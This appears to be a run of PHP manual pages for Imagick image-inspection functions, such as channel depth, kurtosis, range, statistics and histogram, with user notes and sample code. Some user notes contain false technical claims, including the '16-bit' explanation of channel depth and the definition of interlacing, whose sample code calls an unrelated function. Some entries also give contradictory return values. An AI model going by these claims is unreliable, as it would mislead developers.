Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channel constants using bitwise operators. Defaults to Imagick::CHANNEL_DEFAULT. Refer to this list of channel constants

Return Values

Returns TRUE on success.

User Contributed Notes

holdoffhunger at gmail dot com 07-May-2012 08:48
For undocumented functions, this is a particular oddity.  For me, this function has so far returned only two values for any particular image: 1 and 8.  And, after experimenting with it about forty or fifty times, I think I understand how it works, based simply on my experience.

The value returned is the number of bits used for the particular color channel within an image.  That means how variable a particular color is within an image.  While I received 1 and 8, it could theoretically be as much as 16 or 32, depending on how the technology evolves over, say, the next decade or so.

To best understand this function, you should probably also understand the ImageMagick function getColorValue.  In terms of the ImageMagick class, a color can be measured between 0 and 1, in terms in of a particular pixel.  Red, Green, Blue, or, any particular color of any color scheme, can be something like 0.501960784314.  But, since each pixel is a combination of the three colors, you can have 0.845 for red, 0.254 for green, and 0.11 for blue.

How does this all tie in with the getChannelDepth function?  Easy.  If all of the pixels in an image are either values 1 or values 0 for the particular Red/Green/Blue values, then this function will return a 1 for 1 bits per pixel for that color channel.  If, however, any single pixel in the image for the inputted channel parameter isn't exactly 1 or 0 for the particular color channel, then this function will return an 8 for 8-bit colors per pixel for that color channel.

If you receive back a 1 for every single color channel put in the parameter, that means you're dealing with an image that's 16-bit -- you know, like those computer games published in 1982, or the Atari console games.  You won't ever forget a 16-bit color green, trust me.  If you get back an 8 for every single color channel put in the parameter, that means you're dealing with any standard, modern image.

You can input any color channel, based on the channel constants available within the ImageMagick class.  See them here: http://www.php.net/manual/en/imagick.constants.php#imagick.constants.channel .  That means a format like imagick::CHANNEL_UNDEFINED, but with the "_UNDEFINED" value being anything here: undefined, red, gray, cyan, green, magenta, blue, yellow, alpha, opacity, matte, black, index, all, and default.

For any image with one pixel color of RGB value 1 / 0.501960784314 / 0.501960784314 (#FF8080), you get this result:

Channel - 'Undefined' :        1
Channel - 'Red' :     1
Channel - 'Gray' :     1
Channel - 'Cyan' :     1
Channel - 'Green' :     8
Channel - 'Magenta' :     8
Channel - 'Blue' :     8
Channel - 'Yellow' :     8
Channel - 'Alpha' :     1
Channel - 'Opacity' :     1
Channel - 'Matte' :     1
Channel - 'Black' :     1
Channel - 'Index' :     1
Channel - 'All' :     8
Channel - 'Default' :     8

If all colors are between 0 and 1 with getColorValue function, each of these results with be 1.  If you're dealing with an image that has full color spectrum depth (almost any given photograph), you'll get 8 for red, gray, cyan, green, magenta, blue, yellow, all, and default, with a 1 for the other remaining channels.  Perhaps some use for automated image editing, like use with posterize or oilpaint functions.


Compares image channels of an image to a reconstructed image

  • « Imagick::getImageChannelDepth
  • Imagick::getImageChannelDistortions »
  • PHP Manual
  • Imagick
  • Compares image channels of an image to a reconstructed image

Imagick::getImageChannelDistortion

(PECL imagick 2.0.0)

Imagick::getImageChannelDistortion — Compares image channels of an image to a reconstructed image

Description

float Imagick::getImageChannelDistortion ( Imagick $reference , int $channel , int $metric )

Compares one or more image channels of an image to a reconstructed image and returns the specified distortion metric.

Parameters

reference

Imagick object to compare to.

channel

Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channeltype constants using bitwise operators. Refer to this list of channel constants.

metric

One of the metric type constants.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Gets channel distortions

  • « Imagick::getImageChannelDistortion
  • Imagick::getImageChannelExtrema »
  • PHP Manual
  • Imagick
  • Gets channel distortions

Imagick::getImageChannelDistortions

(No version information available, might only be in Git)

Imagick::getImageChannelDistortions — Gets channel distortions

Description

float Imagick::getImageChannelDistortions ( Imagick $reference , int $metric [, int $channel = Imagick::CHANNEL_DEFAULT ] )

Compares one or more image channels of an image to a reconstructed image and returns the specified distortion metrics This method is available if Imagick has been compiled against ImageMagick version 6.4.4 or newer.

Parameters

reference

Imagick object containing the reference image

metric

Refer to this list of metric type constants.

channel

Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channel constants using bitwise operators. Defaults to Imagick::CHANNEL_DEFAULT. Refer to this list of channel constants

Return Values

Returns a double describing the channel distortion.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Gets the extrema for one or more image channels

  • « Imagick::getImageChannelDistortions
  • Imagick::getImageChannelKurtosis »
  • PHP Manual
  • Imagick
  • Gets the extrema for one or more image channels

Imagick::getImageChannelExtrema

(PECL imagick 2.0.0)

Imagick::getImageChannelExtrema — Gets the extrema for one or more image channels

Description

array Imagick::getImageChannelExtrema ( int $channel )

Gets the extrema for one or more image channels. Return value is an associative array with the keys "minima" and "maxima".

Parameters

channel

Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channeltype constants using bitwise operators. Refer to this list of channel constants.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


The getImageChannelKurtosis purpose

  • « Imagick::getImageChannelExtrema
  • Imagick::getImageChannelMean »
  • PHP Manual
  • Imagick
  • The getImageChannelKurtosis purpose

Imagick::getImageChannelKurtosis

(No version information available, might only be in Git)

Imagick::getImageChannelKurtosis — The getImageChannelKurtosis purpose

Description

public array Imagick::getImageChannelKurtosis ([ int $channel = Imagick::CHANNEL_DEFAULT ] )

Get the kurtosis and skewness of a specific channel. This method is available if Imagick has been compiled against ImageMagick version 6.4.9 or newer.

Parameters

channel

Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channel constants using bitwise operators. Defaults to Imagick::CHANNEL_DEFAULT. Refer to this list of channel constants

Return Values

Returns an array with kurtosis and skewness members.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

holdoffhunger at gmail dot com 16-May-2012 08:52
The getImageChannelKurtosis function accepts as a parameter any of the ImageMagick channel constants and returns an array containing elements with the two element values of 'kurtosis' and 'skewness.'

For the inputted color values, you have the ImageMagick channel constant values that look like imagick::CHANNEL_UNDEFINED, with "_VALUE" values of: undefined, red, gray, cyan, green, magenta, blue, yellow, alpha, opacity, matte, black, index, all, and default.  This is for measuring the particular channel for these colors of their own associated colorspaces.

According to Wikipedia, the Kurtosis is "any measure of the 'peakedness' of the probability distribution of a real-valued random variable" and Skewness (its opposite) is "a measure of the asymmetry of the probability distribution of a real-valued random variable."  The more colors vary from the inputted channel constant, you'll be more likely to get a skewness close to zero, and you'll get the opposite behavior from checking the kurtosis value, which makes sense, since skewness and kurtosis are considered mathematical antonyms.

Some sample code :

<?php

            // Author: holdoffhunger@gmail.com

        // Imagick Type
        // ---------------------------------------------

    $imagick_type = new Imagick();

        // Open File
        // ---------------------------------------------

    $file_to_grab = "image_workshop_directory/test.bmp";

    $file_handle_for_viewing_image_file = fopen($file_to_grab, 'a+');

        // Grab File
        // ---------------------------------------------

    $imagick_type->readImageFile($file_handle_for_viewing_image_file);

        // Get Quantum Range
        // ---------------------------------------------

    $imagick_type_channel_kurtosis_red = $imagick_type->getImageChannelKurtosis(imagick::CHANNEL_RED);

        // Print Results
        // ---------------------------------------------

    print("<pre>");
    print_r($imagick_type_channel_kurtosis_red);
    print("</pre>");

?>

The results for performing this function upon a photo of the ocean...

ImageMagick - Channel Kurtosis
  Channel - Undefined :

Kurtosis : 0
Skewness : 0

  Channel - Red :

Kurtosis : 0.920611158888
Skewness : 1.52701528976

  Channel - Gray :

Kurtosis : 0.920611158888
Skewness : 1.52701528976

  Channel - Cyan :

Kurtosis : 0.920611158888
Skewness : 1.52701528976

  Channel - Green :

Kurtosis : -0.286520845928
Skewness : 1.05203603783

  Channel - Magenta :

Kurtosis : -0.286520845928
Skewness : 1.05203603783

  Channel - Blue :

Kurtosis : -0.849997917796
Skewness : 0.807852655795

  Channel - Yellow :

Kurtosis : -0.849997917796
Skewness : 0.807852655795

  Channel - Alpha :

Kurtosis : 0
Skewness : 0

  Channel - Opacity :

Kurtosis : 0
Skewness : 0

  Channel - Matte :

Kurtosis : 0
Skewness : 0

  Channel - Black :

Kurtosis : 0
Skewness : 0

  Channel - Index :

Kurtosis : 0
Skewness : 0

  Channel - All :

Kurtosis : 0.509521246195
Skewness : 1.33491479552

  Channel - Default :

Kurtosis : -0.349955122843
Skewness : 1.00561407035


Gets the mean and standard deviation

  • « Imagick::getImageChannelKurtosis
  • Imagick::getImageChannelRange »
  • PHP Manual
  • Imagick
  • Gets the mean and standard deviation

Imagick::getImageChannelMean

(PECL imagick 2.0.0)

Imagick::getImageChannelMean — Gets the mean and standard deviation

Description

array Imagick::getImageChannelMean ( int $channel )

Gets the mean and standard deviation of one or more image channels. Return value is an associative array with the keys "mean" and "standardDeviation".

Parameters

channel

Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channeltype constants using bitwise operators. Refer to this list of channel constants.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Gets channel range

  • « Imagick::getImageChannelMean
  • Imagick::getImageChannelStatistics »
  • PHP Manual
  • Imagick
  • Gets channel range

Imagick::getImageChannelRange

(PECL imagick 2.2.1)

Imagick::getImageChannelRange — Gets channel range

Description

array Imagick::getImageChannelRange ( int $channel )

Gets the range for one or more image channels. This method is available if Imagick has been compiled against ImageMagick version 6.4.0 or newer.

Parameters

channel

Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channel constants using bitwise operators. Defaults to Imagick::CHANNEL_DEFAULT. Refer to this list of channel constants

Return Values

Returns an array containing minima and maxima values of the channel(s).

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

holdoffhunger at gmail dot com 08-May-2012 08:43
The getImageChannelRange returns an array with two values mapped to the keys 'minima' and 'maxima', which are simply the minimum and maximum values of that particular channel within the image that this function is performed upon.  For photographs and high-quality imagery, that means that you're almost always guaranteed to have the minima be at 0 and the maxima be at the maximum bit-value allowed.  For most images, that's 65,535, which is the value of 2^16 (if you start counting at 0), meaning 16-bits per Channel imagery.  This goes for all of the channels.

If an image is simple, though, you may be able to get a better variety of ranges.  An image that was simply a red square, the maxima and minima values for the Red Channel were both 65,535 (max), while the channels for the maxima and minima values for all other channels was 0 (min).  If you want to know the maximum values you might get back for any of the channels, feed this function the default channel.

For your normal channels, you'll have something that looks like "imagick::CHANNEL_RED", but you could have unusual channels like "imagick::CHANNEL_OPACITY".  For colors, you have the "_VALUE" options of: red, gray, cyan, green, magenta, blue, yellow, all, and default.  For unusual channels, you have the "_VALUE" options of: undefined, alpha, opacity, matte, black, and index.  With this function, the unusual channels always produce a minima of 1.0E+37 (10^37) and a maxima of -1.0E-37 (-10^-37), which makes no sense, so stick to the color values I pointed to above.

This function doesn't work for you?  No problem.  The function getImageChannelExtrema does the same *EXACT* thing.  The only difference is that the error you get on the unusual channels: their minima and maxima, instead of defaulting to crazy values, simply defaults to 0.

In general, this function seems to have the utility of telling you how simple an image might be -- if the difference between a channel maxima and minima is very small, that means there wasn't much expression of color for that given channel.  This will probably be able to tell you whether an image was drawn in some simple paint program or if it's an actual photograph, but beyond that, you'll have to do intensive programming to make it figure something out more complicated.

And now, an example of the results for some red-only image:

ImageMagick - Channel Range
Channel - 'Undefined' :     Minima: 1.0E+37     Maxima: -1.0E-37
Channel - 'Red' :     Minima: 65535     Maxima: 65535
Channel - 'Gray' :     Minima: 65535     Maxima: 65535
Channel - 'Cyan' :     Minima: 65535     Maxima: 65535
Channel - 'Green' :     Minima: 0     Maxima: 0
Channel - 'Magenta' :     Minima: 0     Maxima: 0
Channel - 'Blue' :     Minima: 0     Maxima: 0
Channel - 'Yellow' :     Minima: 0     Maxima: 0
Channel - 'Alpha' :     Minima: 1.0E+37     Maxima: -1.0E-37
Channel - 'Opacity' :     Minima: 1.0E+37     Maxima: -1.0E-37
Channel - 'Matte' :     Minima: 1.0E+37     Maxima: -1.0E-37
Channel - 'Black' :     Minima: 1.0E+37     Maxima: -1.0E-37
Channel - 'Index' :     Minima: 1.0E+37     Maxima: -1.0E-37
Channel - 'All' :     Minima: 0     Maxima: 65535
Channel - 'Default' :     Minima: 0     Maxima: 65535


Returns statistics for each channel in the image

  • « Imagick::getImageChannelRange
  • Imagick::getImageClipMask »
  • PHP Manual
  • Imagick
  • Returns statistics for each channel in the image

Imagick::getImageChannelStatistics

(PECL imagick 2.0.0)

Imagick::getImageChannelStatistics — Returns statistics for each channel in the image

Description

array Imagick::getImageChannelStatistics ( void )

Returns statistics for each channel in the image. The statistics include the channel depth, its minima and maxima, the mean, and the standard deviation. You can access the red channel mean, for example, like this:

Return Values

Returns TRUE on success.

User Contributed Notes

holdoffhunger at gmail dot com 15-May-2012 08:19
The ImageMagick function 'getImageChannelStatistics' returns an array of arrays.  The first array has keys with values set to 0, 1, 2, 4, 8, and 32.  Each of these arrays, in turn, has five values, mean, minima, maxima, standard deviation, and depth.  A sample print_r of the array produces...

Array
(
    [0] => Array
        (
            [mean] => 0
            [minima] => 1.0E+37
            [maxima] => -1.0E-37
            [standardDeviation] => 0
            [depth] => 1
        )

    [1] => Array
        (
            [mean] => 13215.2836185
            [minima] => 0
            [maxima] => 65535
            [standardDeviation] => 19099.2202751
            [depth] => 8
        )

[etc., etc..]
}

What does each 0, 1, 2, etc., value mean for the keys?  Those are shared, evaluated values of the ImageMagick Channel Constants.  You have the channel constant values that look like imagick::CHANNEL_UNDEFINED, with "_VALUE" values of: undefined, red, gray, cyan, green, magenta, blue, yellow, alpha, opacity, matte, black, index, all, and default.  If you actually print out these constants, you get '0' for undefined, '1' for red, gray, and cyan, '2' for green and magenta, '4' for blue and yellow, and '8' for alpha, opacity, and matte, or '32' for black and index.  Why do multiple channels share the same evaluated integer values?  That's because they're colors from different color spaces, with Red/Green/Blue being the RGB spectrum, Cyan/Magenta/Yellow/blacK being the CMYK spectrum, etc., etc..  If you want to get the statistical result values for Cyan or Red, you'll be accessing the same channel keys.

There are five values produced for each color channel.  The element values for the keys 'mean' and 'standardDeviation' are the results from the getImageChannelMean function.  The element values for the keys 'minima' and 'maxima' are the results from the getChannelRange function.  And the element values for the key 'depth' is the result from the getImageChannelDepth function.  All of these values can be useful in terms of measuring the Channel values of a particular image.

And now, some sample code :

<?php

            // Author: holdoffhunger@gmail.com

        // Create Imagick Object
        // ---------------------------------------------

    $imagick_type = new Imagick();

        // Filename to Open
        // ---------------------------------------------

    $file_to_grab_with_location = "image_workshop_directory/test.bmp";

        // Open File
        // ---------------------------------------------

    $file_handle_for_viewing_image_file = fopen($file_to_grab_with_location, 'a+');

        // Read File
        // ---------------------------------------------

    $imagick_type->readImageFile($file_handle_for_viewing_image_file);

        // Get Statistics
        // ---------------------------------------------

    $imagick_type_channel_statistics = $imagick_type->getImageChannelStatistics();

        // Print Statistics
        // ---------------------------------------------

    print_r($imagick_type_channel_statistics);

?>


Gets image clip mask

  • « Imagick::getImageChannelStatistics
  • Imagick::getImageColormapColor »
  • PHP Manual
  • Imagick
  • Gets image clip mask

Imagick::getImageClipMask

(No version information available, might only be in Git)

Imagick::getImageClipMask — Gets image clip mask

Description

Imagick Imagick::getImageClipMask ( void )

Returns the image clip mask. The clip mask is an Imagick object containing the clip mask. This method is available if Imagick has been compiled against ImageMagick version 6.3.6 or newer.

Return Values

Returns an Imagick object containing the clip mask.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Returns the color of the specified colormap index

  • « Imagick::getImageClipMask
  • Imagick::getImageColors »
  • PHP Manual
  • Imagick
  • Returns the color of the specified colormap index

Imagick::getImageColormapColor

(PECL imagick 2.0.0)

Imagick::getImageColormapColor — Returns the color of the specified colormap index

Description

ImagickPixel Imagick::getImageColormapColor ( int $index )

Returns the color of the specified colormap index.

Parameters

index

The offset into the image colormap.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Gets the number of unique colors in the image

  • « Imagick::getImageColormapColor
  • Imagick::getImageColorspace »
  • PHP Manual
  • Imagick
  • Gets the number of unique colors in the image

Imagick::getImageColors

(PECL imagick 2.0.0)

Imagick::getImageColors — Gets the number of unique colors in the image

Description

int Imagick::getImageColors ( void )

Gets the number of unique colors in the image.

Return Values

Returns TRUE on success.

User Contributed Notes

holdoffhunger at gmail dot com 07-Apr-2012 07:54
I've had difficulty getting this function to return the number of unique colors.  Also, I wanted to be able to have an array with each $key value being the RGB of the pixel, and each $value value being the number of times that pixel occurs.  Basically, a frequency list.  For example, you would have "1 / 0 / 0" for red as a $key value, and "25" for the number of times that pixel color was in the image.  So, I wrote some code to do that, using a combination of readImageFile, getImageWidth, getImageHeight, getImagePixelColor, and a simple x/y parser, like so :

<?php

        // Test File
        // ---------------------------------------------

            // Note: This file was just a picture of a 5x5 red square
            //    inside of a gigantic 521x512 black square, and
            //    then I did a bunch of random, yellow zigzags.

    $file_to_grab_with_location = "test.bmp";

    $imagick_type = new Imagick();

        // Open File
        // ---------------------------------------------

    $file_handle_for_viewing_image_file = fopen($file_to_grab_with_location, 'a+');
    $imagick_type->readImageFile($file_handle_for_viewing_image_file);

        // Preset Information
        // ---------------------------------------------

    $frequency_list_of_values = array();

        // Parse Pixels
        // ---------------------------------------------

    $image_resolution_width = $imagick_type->getImageWidth();
    $image_resolution_height = $imagick_type->getImageHeight();

    print("Image Resolution:  Width - $image_resolution_width / Height - $image_resolution_height<br><br>");

        // Parse Image Top-to-Bottom (Y-Variable)
        // ---------------------------------------------

    for($y = 0; $y < $image_resolution_height; $y++)
    {
            // Parse Image Left-to-Right (X-Variable)
            // ---------------------------------------------

        for($x = 0; $x < $image_resolution_width; $x++)
        {

                // Image Pixel Color
                // ---------------------------------------------

            $pixel_to_examine = $imagick_type->getImagePixelColor($x,$y);

            $pixel_to_examine_color_value_red = $pixel_to_examine->getColorValue(imagick::COLOR_RED);
            $pixel_to_examine_color_value_green = $pixel_to_examine->getColorValue(imagick::COLOR_GREEN);
            $pixel_to_examine_color_value_blue = $pixel_to_examine->getColorValue(imagick::COLOR_BLUE);

                // Set Key Value
                // ---------------------------------------------

            $key_value =    $pixel_to_examine_color_value_red    .    " / "    .
                    $pixel_to_examine_color_value_green    .    " / "    .
                    $pixel_to_examine_color_value_blue            ;

                // Increment Array Entry for Color
                // ---------------------------------------------

            if(isset($frequency_list_of_values[$key_value]) == TRUE)
            {
                $temp = $frequency_list_of_values[$key_value];
                $temp++;
                $frequency_list_of_values[$key_value] = $temp;
            }
            else
            {
                $frequency_list_of_values[$key_value] = 1;
            }
        }
    }

        // Print Out Array of Values
        // ---------------------------------------------

    print("<pre>");
    print_r($frequency_list_of_values);
    print("</pre>");

/*

    Results:
    ------------------

Image Resolution: Width - 521 / Height - 512

Array
(
    [1 / 0 / 0] => 25
    [0 / 0 / 1] => 264107
    [1 / 1 / 0] => 2620
)

*/

?>


Gets the image colorspace

  • « Imagick::getImageColors
  • Imagick::getImageCompose »
  • PHP Manual
  • Imagick
  • Gets the image colorspace

Imagick::getImageColorspace

(PECL imagick 2.0.0)

Imagick::getImageColorspace — Gets the image colorspace

Description

int Imagick::getImageColorspace ( void )

Gets the image colorspace.

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.


Returns the composite operator associated with the image

  • « Imagick::getImageColorspace
  • Imagick::getImageCompression »
  • PHP Manual
  • Imagick
  • Returns the composite operator associated with the image

Imagick::getImageCompose

(PECL imagick 2.0.0)

Imagick::getImageCompose — Returns the composite operator associated with the image

Description

int Imagick::getImageCompose ( void )

Returns the composite operator associated with the image.

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.


Gets the current image's compression type

  • « Imagick::getImageCompose
  • Imagick::getImageCompressionQuality »
  • PHP Manual
  • Imagick
  • Gets the current image's compression type

Imagick::getImageCompression

(PECL imagick 2.2.2)

Imagick::getImageCompression — Gets the current image's compression type

Description

int Imagick::getImageCompression ( void )

Gets the current image's compression type.

Return Values

Returns the compression constant

User Contributed Notes

undoable at gmail dot com 03-Jul-2013 07:44
This function is undefined. You must use getImageCompressionQuality() instead.


Gets the current image's compression quality

  • « Imagick::getImageCompression
  • Imagick::getImageDelay »
  • PHP Manual
  • Imagick
  • Gets the current image's compression quality

Imagick::getImageCompressionQuality

(PECL imagick 2.2.2)

Imagick::getImageCompressionQuality — Gets the current image's compression quality

Description

int Imagick::getImageCompressionQuality ( void )

Gets the current image's compression quality

Return Values

Returns integer describing the images compression quality

User Contributed Notes

There are no user contributed notes for this page.


Gets the image delay

  • « Imagick::getImageCompressionQuality
  • Imagick::getImageDepth »
  • PHP Manual
  • Imagick
  • Gets the image delay

Imagick::getImageDelay

(PECL imagick 2.0.0)

Imagick::getImageDelay — Gets the image delay

Description

int Imagick::getImageDelay ( void )

Gets the image delay.

Return Values

Returns the image delay.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

jabaga at abv dot bg 18-Sep-2011 05:31
Here is how you can get the delay between the frames in gif file:

<?php
$animation = new Imagick("file.gif");

foreach ($animation as $frame) {
  $delay = $animation->getImageDelay();

echo $delay;
}
?>


Gets the image depth

  • « Imagick::getImageDelay
  • Imagick::getImageDispose »
  • PHP Manual
  • Imagick
  • Gets the image depth

Imagick::getImageDepth

(PECL imagick 0.9.1-0.9.9)

Imagick::getImageDepth — Gets the image depth

Description

int Imagick::getImageDepth ( void )

Gets the image depth.

Return Values

The image depth.

User Contributed Notes

There are no user contributed notes for this page.


Gets the image disposal method

  • « Imagick::getImageDepth
  • Imagick::getImageDistortion »
  • PHP Manual
  • Imagick
  • Gets the image disposal method

Imagick::getImageDispose

(PECL imagick 2.0.0)

Imagick::getImageDispose — Gets the image disposal method

Description

int Imagick::getImageDispose ( void )

Gets the image disposal method.

Return Values

Returns the dispose method on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Compares an image to a reconstructed image

  • « Imagick::getImageDispose
  • Imagick::getImageExtrema »
  • PHP Manual
  • Imagick
  • Compares an image to a reconstructed image

Imagick::getImageDistortion

(PECL imagick 2.0.0)

Imagick::getImageDistortion — Compares an image to a reconstructed image

Description

float Imagick::getImageDistortion ( MagickWand $reference , int $metric )

Compares an image to a reconstructed image and returns the specified distortion metric.

Parameters

reference

Imagick object to compare to.

metric

One of the metric type constants.

Return Values

Returns the distortion metric used on the image (or the best guess thereof).

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Gets the extrema for the image

  • « Imagick::getImageDistortion
  • Imagick::getImageFilename »
  • PHP Manual
  • Imagick
  • Gets the extrema for the image

Imagick::getImageExtrema

(PECL imagick 2.0.0)

Imagick::getImageExtrema — Gets the extrema for the image

Description

array Imagick::getImageExtrema ( void )

Gets the extrema for the image. Returns an associative array with the keys "min" and "max".

Return Values

Returns an associative array with the keys "min" and "max".

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Returns the filename of a particular image in a sequence

  • « Imagick::getImageExtrema
  • Imagick::getImageFormat »
  • PHP Manual
  • Imagick
  • Returns the filename of a particular image in a sequence

Imagick::getImageFilename

(PECL imagick 2.0.0)

Imagick::getImageFilename — Returns the filename of a particular image in a sequence

Description

string Imagick::getImageFilename ( void )

Returns the filename of a particular image in a sequence.

Return Values

Returns a string with the filename of the image.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Returns the format of a particular image in a sequence

  • « Imagick::getImageFilename
  • Imagick::getImageGamma »
  • PHP Manual
  • Imagick
  • Returns the format of a particular image in a sequence

Imagick::getImageFormat

(PECL imagick 2.0.0)

Imagick::getImageFormat — Returns the format of a particular image in a sequence

Description

string Imagick::getImageFormat ( void )

Returns the format of a particular image in a sequence.

Return Values

Returns a string containing the image format on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

orrd101 at yahoo dot com 21-Feb-2013 09:49
Use Imagick::queryFormats() to get a list of possible format names that might be returned by this function.


Gets the image gamma

  • « Imagick::getImageFormat
  • Imagick::getImageGeometry »
  • PHP Manual
  • Imagick
  • Gets the image gamma

Imagick::getImageGamma

(PECL imagick 2.0.0)

Imagick::getImageGamma — Gets the image gamma

Description

float Imagick::getImageGamma ( void )

Gets the image gamma.

Return Values

Returns the image gamma on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Gets the width and height as an associative array

  • « Imagick::getImageGamma
  • Imagick::getImageGravity »
  • PHP Manual
  • Imagick
  • Gets the width and height as an associative array

Imagick::getImageGeometry

(PECL imagick 2.0.0)

Imagick::getImageGeometry — Gets the width and height as an associative array

Description

array Imagick::getImageGeometry ( void )

Returns the width and height as an associative array.

Return Values

Returns an array with the width/height of the image.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

tim at provu dot co dot uk 20-Nov-2008 04:05
Example code:

<?php
$image = new imagick($filename);

$geo=$image->getImageGeometry();

$sizex=$geo['width'];
$sizey=$geo['height'];
?>


Gets the image gravity

  • « Imagick::getImageGeometry
  • Imagick::getImageGreenPrimary »
  • PHP Manual
  • Imagick
  • Gets the image gravity

Imagick::getImageGravity

(No version information available, might only be in Git)

Imagick::getImageGravity — Gets the image gravity

Description

int Imagick::getImageGravity ( void )

Gets the current gravity value of the image. Unlike Imagick::getGravity(), this method returns the gravity defined for the current image sequence. This method is available if Imagick has been compiled against ImageMagick version 6.4.4 or newer.

Return Values

Returns the images gravity property. Refer to the list of gravity constants.

User Contributed Notes

There are no user contributed notes for this page.


Returns the chromaticy green primary point

  • « Imagick::getImageGravity
  • Imagick::getImageHeight »
  • PHP Manual
  • Imagick
  • Returns the chromaticy green primary point

Imagick::getImageGreenPrimary

(PECL imagick 2.0.0)

Imagick::getImageGreenPrimary — Returns the chromaticy green primary point

Description

array Imagick::getImageGreenPrimary ( void )

Returns the chromaticity green primary point. Returns an array with the keys "x" and "y".

Return Values

Returns an array with the keys "x" and "y" on success, throws an ImagickException on failure.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Returns the image height

  • « Imagick::getImageGreenPrimary
  • Imagick::getImageHistogram »
  • PHP Manual
  • Imagick
  • Returns the image height

Imagick::getImageHeight

(PECL imagick 2.0.0)

Imagick::getImageHeight — Returns the image height

Description

int Imagick::getImageHeight ( void )

Returns the image height.

Return Values

Returns the image height in pixels.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

perching_eagle at yahoo dot com 05-Oct-2007 03:19
//file location c:/htdocs/rose.jpg
$image=new Imagick("c:/htdocs/rose.jpg");
$height=$image->getImageHeight();
print "the image height is ".$height;

result:
the image height is 134


Gets the image histogram

  • « Imagick::getImageHeight
  • Imagick::getImageIndex »
  • PHP Manual
  • Imagick
  • Gets the image histogram

Imagick::getImageHistogram

(PECL imagick 2.0.0)

Imagick::getImageHistogram — Gets the image histogram

Description

array Imagick::getImageHistogram ( void )

Returns the image histogram as an array of ImagickPixel objects.

Return Values

Returns the image histogram as an array of ImagickPixel objects.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

Iddles 20-Jun-2011 01:02
Scratched my head for a while trying to figure out why this only returned a list of coloured pixels, and seemingly no colour count. Well it turns out that for some reason, the ImagickPixel class has a "getColorCount" method, which seems a strange place for it but hey.

<?php
$image = new Imagick("thing.png");
$pixels=$image->getImageHistogram();
foreach($pixels as $p){
 $colors = $p->getColor();
 foreach($colors as $c){
        print( "$c\t" );
 }
 print( "\t:\t" . $p->getColorCount() . "\n" );
}
?>

This will print out something like:

252    250    252    1    :    125
194    156    182    1    :    126
109    18    79    1    :    11440
2    117    162    1    :    12761
255    255    255    1    :    40769

...where the colums are red, green, blue, alpha, followed by the number of times that colour appears in the image.


Gets the index of the current active image

  • « Imagick::getImageHistogram
  • Imagick::getImageInterlaceScheme »
  • PHP Manual
  • Imagick
  • Gets the index of the current active image

Imagick::getImageIndex

(PECL imagick 2.0.0)

Imagick::getImageIndex — Gets the index of the current active image

Description

int Imagick::getImageIndex ( void )

Returns the index of the current active image within the Imagick object. This method has been deprecated. See Imagick::getIteratorIndex().

Return Values

Returns an integer containing the index of the image in the stack.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Gets the image interlace scheme

  • « Imagick::getImageIndex
  • Imagick::getImageInterpolateMethod »
  • PHP Manual
  • Imagick
  • Gets the image interlace scheme

Imagick::getImageInterlaceScheme

(PECL imagick 2.0.0)

Imagick::getImageInterlaceScheme — Gets the image interlace scheme

Description

int Imagick::getImageInterlaceScheme ( void )

Gets the image interlace scheme.

Return Values

Returns the interlace scheme as an integer on success. Throw an ImagickException on error.

User Contributed Notes

holdoffhunger at gmail dot com 13-Mar-2013 10:59
Image Interlacing is simply combining two images by layering one over the other with a certain opacity (usually 50%).  The intention is to use the image in video, so that two images are displayed within one single frame, thereby doubling the frames-per-second without doubling the actual, physical amount of frames.  Wikipedia provides a fairly decent explanation of this type of video technology: http://en.wikipedia.org/wiki/Interlaced_video .

Best Description :
http://www.100fps.com/

Some sample code :

<?php

            // Author: holdoffhunger@gmail.com

        // Imagick Type
        // ---------------------------------------------

    $imagick_type = new Imagick();

        // Open File
        // ---------------------------------------------

    $file_to_grab = "image_workshop_directory/test.jpg";

    $file_handle_for_viewing_image_file = fopen($file_to_grab, 'a+');

        // Grab File
        // ---------------------------------------------

    $imagick_type->readImageFile($file_handle_for_viewing_image_file);

        // Get Rendering Intent Values
        // ---------------------------------------------

    $imagick_rendering_intent = $imagick_type->getImageRenderingIntent();

    switch($imagick_rendering_intent)
    {
        case '0':
            $image_rendering_intent_evaluated = "Undefined";
            break;

        case '1':
            $image_rendering_intent_evaluated = "Saturation";
            break;

        case '2':
            $image_rendering_intent_evaluated = "Perceptual";
            break;

        case '3':
            $image_rendering_intent_evaluated = "Absolute";
            break;

        case '4':
